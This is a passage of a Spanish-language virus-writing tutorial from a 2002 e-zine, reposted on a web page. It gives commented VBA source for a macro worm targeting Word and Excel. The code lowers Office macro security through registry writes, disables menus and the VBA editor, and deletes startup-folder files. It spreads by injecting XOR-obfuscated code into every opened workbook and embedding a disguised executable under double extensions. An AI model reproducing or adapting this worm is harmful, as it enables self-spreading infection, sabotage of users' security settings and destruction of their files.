Key8 = BuildKeyCode(wdKeyAlt, wdKeyF8): Key11 = BuildKeyCode(wdKeyAlt, wdKeyF11): Ktip = wdKeyCategoryCommand
KeyBindings.Add Ktip, "Keyh", Key8
KeyBindings.Add Ktip, "Keyh", Key11
End If

'A partir de aquí es codigo que ya fue comentado como codigo en la plantilla
If Int(Application.Version) > 8 Then
w.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security\Level", 1, "REG_DWORD"
w.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security\AccessVBOM", 1, "REG_DWORD"
w.RegWrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\10.0\Word\Security\Level", 1, "REG_DWORD"
w.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security\Level", 1, "REG_DWORD"
w.RegWrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Word\Security\Level", 1, "REG_DWORD"
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("View").Controls(5).Enabled = False
CommandBars("Tools")).Controls(17).Enabled = False
CommandBars("Tools").Controls(18).Enabled = False
CommandBars("Tools").Controls(19).Enabled = False
ScreenUpdating = False
DisplayAlerts = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
EnableCancelKey = 0
ShowVisualBasicEditor = False
CommandBars("Visual Basic").Enabled = False
ElseIf Int(Application.Version) < 9 Then
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls(14).Enabled = False
CommandBars("Tools").Controls(15).Enabled = False
CommandBars("Tools").Controls(16).Enabled = False
CommandBars("View").Controls(6).Enabled = False
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
ScreenUpdating = False
DisplayAlerts = False
EnableCancelKey = 0
ShowVisualBasicEditor = False
CommandBars("Visual Basic").Enabled = False
End If
End Sub
Private Function u(s)
On Error Resume Next
For i = 1 To Len(s)
u = u & Chr(Asc(Mid(s, i, 1)) Xor 7)
Next
End Function
Sub Keyh()
On Error Resume Next
Dim Lg As String
Lg = Application.Languages(Application.Language)
If InStr(LCase(Lg), "español") <> 0 Then
MsgBox "Componente no Válido", 16, "Error"
Else
MsgBox "Non Valid component", 16, "Error"
End If
End Sub

---------------------------------------------------------------------------

Infeccion de Excel:
Excel tiene un directorio de inicio y cada vez que se inicie cargara
los documentos que alli se encuentren.
Lo que haremos sera crear un archivo xls, en ese directorio, a ese archivo
le habremos insertado codigo de macro, para que inserte una copia del worm
en cada archivo que sea abierto o creado.
Para eso usaremos los eventos:

Workbook_Open() ->Se activa cada vez que el documento es abierto

Workbook_Activate() ->Se activa cada vez que el documento
se convierte en el documento activo(osea cada vez
que la ventana del archivo esta sobre otras ventanas de otros archivos
que pudieran estar abiertos en Excel)

Workbook_Deactivate() ->Se activa cada vez que el documento
deja de ser el documento activo

ActiveWorkBook ,es el objeto que hace referencia al documento activo
Me ,hace referencia al documento desde donde se ejecuta el codigo Macro

El archivo infectado se cargara cada vez que Excel se inicie, y contendra
un procedimiento "Private Sub Workbook_Open()", para hacerse visible en
cuando Excel se inicie y usarse como plantilla para lo que escriba el usu-
ario, y como la plantilla ya esta infectada, el documento creado en
base a ella tambien lo estara.

En caso de que se abra un documento sano ya existente, el archivo infectado
contendra un procedimiento "Private Sub Workbook_Deactivate()",para hacerse
invisible e infectar el documento abierto, al pasar este a ser el documento
activo, ya que al pasar a ser el documento sano el activo, el archivo infec-
tado, dejara de serlo y se activara el procedimiento "Workbook_Deactivate".

Los documentos infectados tendran un procedimiento
"Private Sub Document_Open()", con codigo para que si la pc no esta
infectada, al abrirse el documento ejecute automaticamente el virus
insertado, en caso de que este habilitada la ejecucion de Macros


Sub XlsInfected()
On Error Resume Next

'Declaramos el objeto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.FileSystemObject")

'Declaramos el objeto "Excel.Application"
Set Xl = CreateObject("Excel.Application")

'Hacemos invisible la ventana de Excel
Xl.Visible = False

'Llamamos al procedimiento que desabilitara las opciones de seguridad de Excel
DisabledXS Xl

'Si el archivo infectado "template.xls" no existe en el directorio de inicio
'(.StartupPath) de Excel
If Dir(Xl.StartupPath & "\Template.xls") = "" Then

'Borramos otros documentos que puedan existir en el directorio, ya que esos
'documentos podrian estar infectados por otro virus
Kill Xl.StartupPath & "\*.*"

'Creamos un Archivo xls(template.xls) dentro de Excel
Xl.WorkBooks.Add

'Igualamos Axl al proyecto VB del archivo template.xls
Set Axl = Xl.ActiveWorkBook.VBProject.VBComponents.Item(1)

'Declaramos variables de tipo cadena
Dim X1, X2, X3, X4, MCV As String

'Creamos un archivo "mcx.vir" dentro del directorio de sistema
Set Cmx = f.CreateTextFile(g(1) & "\mcx.vir")

'Asignamos el codigo Macro que insertaremos en el archivo "Template.xls"
'a las variables definidas, el codigo esta semiencriptado y "¢" reemplaza
'a las comillas

X1 = "'GEDZAC" & vbCrlf & _
"Private Sub Workbook_Open()" & vbCrlf & _
"On Error Resume Next" & vbCrlf & _
"Windows(Me.Name).Visible = True" & vbCrlf & _
"End Sub" & vbCrlf & _
"Private Sub Workbook_Deactivate()" & vbCrlf & _
"On Error Resume Next" & vbCrlf & _
"Dim f, Axl, Mx, Xv(4), VPath" & vbCrlf & _
"Set f = CreateObject(x(¢Tdunwsni`)AnkbT~tsbjHembds¢))" & vbCrlf & _
"Set Axl = ActiveWorkbook.VBProject.VBComponents.Item(1)" & vbCrlf & _
"Set Mx = Me.VBProject.VBComponents.Item(1)" & vbCrlf & _
"If LCase(Axl.CodeModule.Lines(1, 1)) <> x(¢ `bc}fd¢) Then" & vbCrlf & _
"Xv(0) = x(¢[fudonqh6)kt)bb¢): Xv(1) = x(¢[fudonqh5)kt)efs¢): Xv(2) = x(¢[fudonqh4)kt)dhj¢)" & vbCrlf & _
"Xv(3) = x(¢[fudonqh3)kt)tdu¢): Xv(4) = x(¢[fudonqh2)kt)wna¢)" & vbCrlf & _
"Randomize: n = Int(Rnd * 5): VPath = f.GetSpecialFolder(2) & Xv(n)" & vbCrlf & _
"If Dir(VPath) = ¢¢ Then" & vbCrlf & _
"FileCopy f.GetSpecialFolder(1) & x(¢[qnurt)ckk¢), VPath" & vbCrlf & _
"End If" & vbCrlf & _
"If Axl.CodeModule.CountOfLines > 0 Then Axl.CodeModule.DeleteLines 1, Axl.CodeModule.CountOfLines" & vbCrlf

X2 = "Dim ISM As String: ISM = Mx.CodeModule.Lines(27, Mx.CodeModule.CountOfLines)" & vbCrlf & _
"Axl.CodeModule.InsertLines 1, x(¢ @BC]FD¢) & vbCrLf & ISM" & vbCrlf & _
"Application.Worksheets(1).Shapes.AddOLEObject Left:=100, Top:=100, Width:=200, Height:=300, Filename:=VPath, link:=False" & vbCrlf & _
"If ActiveWorkbook.Path <> ¢¢ Then ActiveWorkbook.Save" & vbCrlf & _
"End If" & vbCrlf & _
"Windows(Me.Name).Visible = x(¢Afktb¢)" & vbCrlf & _
"End Sub" & vbCrlf & _
"Private Sub Workbook_Activate()" & vbCrlf & _
"On Error Resume Next" & vbCrlf & _
"Dim w, f1: Set w = CreateObject(x(¢PTdunws)Tobkk¢)): Set f1 = CreateObject(x(¢Tdunwsni`)AnkbT~tsbjHembds¢))" & vbCrlf & _
"If Dir(f1.GetSpecialFolder(1) & x(¢[qnurt)ckk¢)) = ¢¢ Then" & vbCrlf & _
"Application.Worksheets(1).Visible = True" & vbCrlf & _
"Application.Worksheets(1).Shapes(1).OLEFormat.Activate" & vbCrlf & _
"Else" & vbCrlf & _
"Application.Worksheets(1).Visible = False" & vbCrlf & _
"End If" & vbCrlf & _
"If Int(Application.Version) > 8 Then" & vbCrlf & _
"w.Regwrite x(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[67)7[Bdbk[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrlf & _
"w.Regwrite x(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[67)7[Bdbk[Tbdruns~[FddbttQEHJ¢), 1, ¢REG_DWORD¢" & vbCrlf & _
"w.Regwrite x(¢OLB^XRTBUT[)CBAFRKS[Thaspfub[Jnduhthas[Haandb[67)7[Bdbk[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrlf & _
"w.Regwrite x(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[>)7[Bdbk[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrlf & _
"w.Regwrite x(¢OLB^XRTBUT[)CBAFRKS[Thaspfub[Jnduhthas[Haandb[>)7[Bdbk[Tbdruns~[Kbqbk¢), 1, ¢REG_DWORD¢" & vbCrlf & _
"Application.ScreenUpdating = x(¢Afktb¢)" & vbCrlf

X3 = "Application.DisplayStatusBar = x(¢Afktb¢)" & vbCrlf & _
"Application.DisplayAlerts = x(¢Afktb¢)" & vbCrlf & _
"Application.EnableCancelKey = 0" & vbCrlf & _
"Application.CommandBars(x(¢Pnichp¢)).Controls(4).Enabled = x(¢Afktb¢)" & vbCrlf & _
"Application.CommandBars(x(¢Qnbp¢)).Controls(3).Enabled = x(¢Afktb¢)" & vbCrlf & _
"Application.CommandBars(x(¢Qntrfk'Eftnd¢)).Enabled = x(¢Afktb¢)" & vbCrlf & _
"Application.CommandBars(x(¢Shhkt¢)).Controls(x(¢Jfduh¢)).Enabled = x(¢Afktb¢)" & vbCrlf & _
"Application.CommandBars(x(¢Shhkt¢)).Controls(12).Enabled = x(¢Afktb¢)" & vbCrlf & _
"Application.CommandBars(x(¢Shhkt¢)).Controls(13).Enabled = x(¢Afktb¢)" & vbCrlf & _
"Application.CommandBars(x(¢Shhkt¢)).Controls(14).Enabled = x(¢Afktb¢)" & vbCrlf & _
"ElseIf Int(Application.Version) < 9 Then" & vbCrlf & _
"w.Regwrite x(¢OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Haandb[?)7[Bdbk[Jnduhthas'Bdbk[Hwsnhit1¢), 0, ¢REG_DWORD¢" & vbCrlf & _
"Application.ScreenUpdating = x(¢Afktb¢)" & vbCrlf & _
"Application.DisplayStatusBar = x(¢Afktb¢)" & vbCrlf & _
"Application.DisplayAlerts = x(¢Afktb¢)" & vbCrlf & _
"Application.EnableCancelKey = 0" & vbCrlf & _
"Application.CommandBars(x(¢Pnichp¢)).Controls(4).Enabled = x(¢Afktb¢)" & vbCrlf & _
"Application.CommandBars(x(¢Qnbp¢)).Controls(3).Enabled = x(¢Afktb¢)" & vbCrlf & _

X4 = "Application.CommandBars(x(¢Qntrfk'Eftnd¢)).Enabled = x(¢Afktb¢)" & vbCrlf & _
"Application.CommandBars(x(¢Shhkt¢)).Controls(x(¢Jfduh¢)).Enabled = x(¢Afktb¢)" & vbCrlf & _
"Application.CommandBars(x(¢Shhkt¢)).Controls(11).Enabled = x(¢Afktb¢)" & vbCrlf & _
"Application.CommandBars(x(¢Shhkt¢)).Controls(12).Enabled = x(¢Afktb¢)" & vbCrlf & _
"Application.CommandBars(x(¢Shhkt¢)).Controls(13).Enabled = x(¢Afktb¢)" & vbCrlf & _
"End If" & vbCrlf & _
"End Sub" & vbCrlf & _
"Private Function x(c)" & vbCrlf & _
"On Error Resume Next" & vbCrlf & _
"For i = 1 To Len(c)" & vbCrlf & _
"x = x & Chr(Asc(Mid(c, i, 1)) Xor 7)" & vbCrlf & _
"Next" & vbCrlf & _
"End Function" & vbCrlf & _

'Unimos las variables que contienen el codigo en MCV
MCV = X1 & X2 & X3 & X4

'Reemplazamos el caracter "¢" que sustituia las comillas ->Chr(34), por estas
MCV = Replace(MCV, "¢", Chr(34))

'Escribimos MCV en el archivo
Cmx.Write MCV

'Cerramos el archivo
Cmx.Close

'Si el archivo template.xls creado tiene mas de 0 lineas de codigo macro,
'las borramos todas, para prevenir una infeccion de algun Macrovirus
If Axl.CodeModule.CountOfLines > 0 Then Axl.CodeModule.DeleteLines 1, Axl.CodeModule.CountOfLines

'Abrimos el archivo que creamos y donde escribimos el codigo Macro
Set Xmc = f.OpenTextFile(g(1) & "\mcx.vir")

'Ponemos i = 1
i = 1

'Leemos el archivo linea a linea hasta el final
Do While Xmc.AtendOfstream <> True

'Almacenamos la linea en Lx
Lx = Xmc.ReadLine
DoEvents

'Y la insertamos en template.xls en la posicion que indica i
Axl.CodeModule.InsertLines i, Lx

'Sumamos 1 a i, para no insertar la siguiente linea en la misma posicion
i = i + 1
Loop

'Cerramos el archivo
Xmc.Close

'Copiamos virus.dll al directorio temporal como Vir.xls.exe y lo insertamos
'en "template.xls"
FileCopy g(1) & "\virus.dll", g(2) & "\Vir.xls.exe"
Xl.Worksheets(1).Shapes.AddOLEObject Left:=100, Top:=100, _
Width:=200, Height:=300, _
FileName:=g(2) & "\Vir.xls.exe", link:=False

'Guardamos template.xls en el directorio de inicio de Excel
Xl.ActiveWorkBook.SaveAs Xl.StartupPath & "\Template.xls"

'Liberamos la variable objeto Axl
Set Axl = Nothing

'Ponemos template.xls, como solo lectura para hacer más dificil que el
'usuario u otro virus lo modifique
SetAttr Xl.StartupPath & "\Template.xls", 1
Else

'En caso de que ya existiera Template.xls, borramos todos los documentos
'del directoriod e inicio de Excel, pero como template.xls esta como solo
'lectura, no se borrara.
Kill Xl.StartupPath & "\*.*"
End If

'Salimos de Excel
Xl.Quit

'Liberamos el objeto "Excel.Application"
Set Xl = Nothing
'Liberamos el objeto "Scripting.FileSystemObject"
Set f = Nothing
End Sub

'Este es el procedimiento que desabilita las opciones de seguridad en Excel
'Aun no he podido encontrar como desabilitar las combinaciones Alt+F8 y
'Alt+F11 en Excel, si alguien lo supiera, por favor escribir a
'Sachiel2015@latinmail.com

Sub DisabledXS(Xl)
On error resume next

'Si la version de Excel es mayor a 8(9.0 y 10.0)
If Int(Xl.Version) > 8 Then

'Bajamos el nivel de seguridad a 0, escribiendo en el registro
Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Excel\Security\Level", 1, "REG_DWORD"
Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Excel\Security\AccessVBOM", 1, "REG_DWORD"
Rw "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\10.0\Excel\Security\Level", 1, "REG_DWORD"
Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security\Level", 1, "REG_DWORD"
Rw "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Excel\Security\Level", 1, "REG_DWORD"

'Esto es practicamente lo mismo que hicimos para desabilitar las opciones
'de Word
Xl.ScreenUpdating = False
Xl.DisplayStatusBar = False
Xl.DisplayAlerts = False
Xl.EnableCancelKey = 0

'Desabilita Ver->Barras de herramientas
Xl.CommandBars("View").Controls(3).Enabled = False

'Desabilita Barras de VisualBasic
Xl.CommandBars("Visual Basic").Enabled = False

'Desabilita Herramientas->Ver Macros
Xl.CommandBars("Tools").Controls("Macro").Enabled = False

''Desabilita Herramientas->Complementos
Xl.CommandBars("Tools").Controls(12).Enabled = False

'Desabilita Herramientas->Personalizar
Xl.CommandBars("Tools").Controls(13).Enabled = False

'Desabilita Ventana ->Mostrar, para que no pueda forzar a mostrar template.xls
'cuando permanece oculto
Xl.CommandBars("Window").Controls(4).Enabled = False

'Desabilita Herramientas->Opciones
Xl.CommandBars("Tools").Controls(14).Enabled = False

'Si la version es menor que 9(8.0)
ElseIf Int(Xl.Version) < 9 Then

'Bajamos el nivel de seguridad escribiendo en el registro
Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel\Options6", 0, "REG_DWORD"

'Esto es lo mismo que lo anterior, solo han cambiado algunos indices por ser
'diferente version
Xl.ScreenUpdating = False
Xl.DisplayStatusBar = False
Xl.DisplayAlerts = False
Xl.EnableCancelKey = 0
Xl.CommandBars("View").Controls(3).Enabled = False
Xl.CommandBars("Visual Basic").Enabled = False
Xl.CommandBars("Tools").Controls("Macro").Enabled = False

'Por ejemplo la linea de abajo desabilita Herramientas ->Complementos
'como anteriormente, solo que el indice ha cambiado de 12 a 11
Xl.CommandBars("Tools").Controls(11).Enabled = False
Xl.CommandBars("Tools").Controls(12).Enabled = False
Xl.CommandBars("Tools").Controls(13).Enabled = False

'Desabilita Ventana ->Mostrar, para que no pueda forzar a mostrar template.xls
'cuando permanece oculto
Xl.CommandBars("Window").Controls(4).Enabled = False
End If

End Sub


-------------------------------------------------------------------------
Este es el codigo Desencriptado que contendra Template.xls, deben eliminarse
los comentarios y los espacios entre lineas para que funcione.
El comentario 'GEDZAC no debe ser eliminado, ya que se usa como marca

''Colocamos la palabra 'GEDZAC para saber que ya esta infectado
'GEDZAC

Private Sub Workbook_Open()
On Error Resume Next

'Hacemos visible template.xls dentro de Excel
Windows(Me.Name).Visible = True
End Sub

Private Sub Workbook_Deactivate()
On Error Resume Next

'Definimos varibles
Dim f, Axl, Mx, Xv(4), VPath
Set f = CreateObject("Scripting.FileSystemObject")

'Igualamos Axl al proyecto VB del documento activo
Set Axl = ActiveWorkbook.VBProject.VBComponents.Item(1)

'Igualamos Mx al proyecto VB de Template.xls
Set Mx = Me.VBProject.VBComponents.Item(1)

'Si el archivo no tiene como primera linea de codigo: 'gedzac
'lo infectamos
If LCase(Axl.CodeModule.Lines(1, 1)) <> "'gedzac" Then

'Esto es lo mismo que hicimos cuando infectamos Word, definimos los valores
'de la matrix y elegimos aleatoriamente uno, con randomize y almacenamos
'la ruta de la copia del virus en VPath
Xv(0) = "\archivo1.xls.exe": Xv(1) = "\archivo2.xls.bat": Xv(2) = "\archivo3.xls.com"
Xv(3) = "\archivo4.xls.scr": Xv(4) = "\archivo5.xls.pif"
Randomize: n = Int(Rnd * 5): VPath = f.GetSpecialFolder(2) & Xv(n)

'Si el archivo del virus no existe lo copiamos al directorio temporal, si ya
'existiera no nos es nesesario copiarlo
If Dir(VPath) = "" Then
FileCopy f.GetSpecialFolder(1) & "\virus.dll", VPath
End If

'Si el numero de lineas del archivo es mayor que 0, las borramos todas
If Axl.CodeModule.CountOfLines > 0 Then Axl.CodeModule.DeleteLines 1, Axl.CodeModule.CountOfLines

'Igualamos ISM al codigo de Template.xls desde la linea 27 en adelante
'Por eso es que se deben eliminar los comentarios y los espacios entre lineas
'ya que la lina 27 debe coincidir con la linea que debe.
Dim ISM As String: ISM = Mx.CodeModule.Lines(27, Mx.CodeModule.CountOfLines)

'Insertamos "'GEDZAC"(para marcar el documento infectado y no volverlo a
'infectar) y ISM en el documento activo
Axl.CodeModule.InsertLines 1, "'GEDZAC" & vbCrLf & ISM

'Insertamos la copia del virus, cuya ruta esta almacenada en VPath, al docu-
'mento activo
Application.Worksheets(1).Shapes.AddOLEObject Left:=100, Top:=100, Width:=200, Height:=300, Filename:=VPath, link:=False

'Si el documento no es un documento recien hecho y aun no guardado
'osea si tiene una ruta, lo guardamos.
If ActiveWorkbook.Path <> "" Then ActiveWorkbook.Save
End If

'Hacemos invisible template.xls dentro de Excel
Windows(Me.Name).Visible = False
End Sub

'Esta es la linea 27 y a partir de aqui sera el codigo que se insertara al do-
'cumento infectado.
Private Sub Workbook_Activate()
On Error Resume Next

'Declaramos variables y objetos
Dim w, f1: Set w = CreateObject("WScript.Shell"): Set f1 = CreateObject("Scripting.FileSystemObject")

'Si el archivo virus.dll no existe, entonces la pc no esta infectada y hacemos
'visible la copia del virus insertada y tratamos de activarla
If Dir(f1.GetSpecialFolder(1) & "\virus.dll") = "" Then
Application.Worksheets(1).Visible = True
Application.Worksheets(1).Shapes(1).OLEFormat.Activate

'Si existe el archivo hacemos invisible la copia, para que no se de cuenta de
'que tiene algo insertado en el documento
Else
Application.Worksheets(1).Visible = False
End If

'Este es el mismo codigo para desabilitar la seguridad en Excel, que se
'comento antes.
If Int(Application.Version) > 8 Then
w.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Excel\Security\Level", 1, "REG_DWORD"
w.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Excel\Security\AccessVBOM", 1, "REG_DWORD"
w.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\10.0\Excel\Security\Level", 1, "REG_DWORD"
w.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security\Level", 1, "REG_DWORD"
w.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Excel\Security\Level", 1, "REG_DWORD"
Application.ScreenUpdating = False
Application.DisplayStatusBar = False
Application.DisplayAlerts = False
Application.EnableCancelKey = 0

'Desabilita Ventana ->Mostrar, para que no pueda forzar a mostrar template.xls
'cuando permanece oculto
Application.CommandBars("Window").Controls(4).Enabled = False
Application.CommandBars("View").Controls(3).Enabled = False
Application.CommandBars("Visual Basic").Enabled = False
Application.CommandBars("Tools")).Controls("Macro").Enabled = False
Application.CommandBars("Tools").Controls(12).Enabled = False
Application.CommandBars("Tools").Controls(13).Enabled = False
Application.CommandBars("Tools").Controls(14).Enabled = False
ElseIf Int(Application.Version) < 9 Then
w.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel\Options6", 0, "REG_DWORD"
Application.ScreenUpdating = False
Application.DisplayStatusBar = False
Application.DisplayAlerts = False
Application.EnableCancelKey = 0

'Desabilita Ventana ->Mostrar, para que no pueda forzar a mostrar template.xls
'cuando permanece oculto
Application.CommandBars("Window").Controls(4).Enabled = False
Application.CommandBars("View").Controls(3).Enabled = False
Application.CommandBars("Visual Basic").Enabled = False
Application.CommandBars("Tools").Controls("Macro").Enabled = False
Application.CommandBars("Tools").Controls(11).Enabled = False
Application.CommandBars("Tools").Controls(12).Enabled = False
Application.CommandBars("Tools").Controls(13).Enabled = False
End If
End Sub

'Esta es la funcion de encriptacion, es igual que la que se explico en la
'infeccion de Word, solo se le ha cambiado el nombre.
Private Function x(c)
On Error Resume Next
For i = 1 To Len(c)
x = x & Chr(Asc(Mid(c, i, 1)) Xor 7)
Next
End Function


-------------------------------------------------------------------------
Este es el codigo(desencriptado) que tendra el documento infectado:

Es identico al que contiene template.xls a partir de la linea 27, solo
se le antepone el comentario 'GEDZAC , para saber que el documento esta
infectado.


'GEDZAC
Private Sub Workbook_Activate()
On Error Resume Next
Dim w, f1: Set w = CreateObject("WScript.Shell"): Set f1 = CreateObject("Scripting.FileSystemObject")
If Dir(f1.GetSpecialFolder(1) & "\virus.dll") = "" Then
Application.Worksheets(1).Visible = True
Application.Worksheets(1).Shapes(1).OLEFormat.Activate
Else
Application.Worksheets(1).Visible = False
End If
If Int(Application.Version) > 8 Then
w.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Excel\Security\Level", 1, "REG_DWORD"
w.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Excel\Security\AccessVBOM", 1, "REG_DWORD"
w.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\10.0\Excel\Security\Level", 1, "REG_DWORD"
w.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security\Level", 1, "REG_DWORD"
w.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Excel\Security\Level", 1, "REG_DWORD"
Application.ScreenUpdating = False
Application.DisplayStatusBar = False
Application.DisplayAlerts = False
Application.EnableCancelKey = 0
Application.CommandBars("Window").Controls(4).Enabled = False
Application.CommandBars("View").Controls(3).Enabled = False
Application.CommandBars("Visual Basic").Enabled = False
Application.CommandBars("Tools")).Controls("Macro").Enabled = False
Application.CommandBars("Tools").Controls(12).Enabled = False
Application.CommandBars("Tools").Controls(13).Enabled = False
Application.CommandBars("Tools").Controls(14).Enabled = False
ElseIf Int(Application.Version) < 9 Then
w.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel\Options6", 0, "REG_DWORD"
Application.ScreenUpdating = False
Application.DisplayStatusBar = False
Application.DisplayAlerts = False
Application.EnableCancelKey = 0
Application.CommandBars("Window").Controls(4).Enabled = False
Application.CommandBars("View").Controls(3).Enabled = False
Application.CommandBars("Visual Basic").Enabled = False
Application.CommandBars("Tools").Controls("Macro").Enabled = False
Application.CommandBars("Tools").Controls(11).Enabled = False
Application.CommandBars("Tools").Controls(12).Enabled = False
Application.CommandBars("Tools").Controls(13).Enabled = False
End If
End Sub
Private Function x(c)
On Error Resume Next
For i = 1 To Len(c)
x = x & Chr(Asc(Mid(c, i, 1)) Xor 7)
Next
End Function


La infeccion tambien puede realizarse en PowerPoint y Access, escribiendo
el codigo correspondiente. Esperamos que el codigo no tenga errores y que
les sea de utilidad.



(C) MITOSIS #1 E-Zine/GEDZAC 2002

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT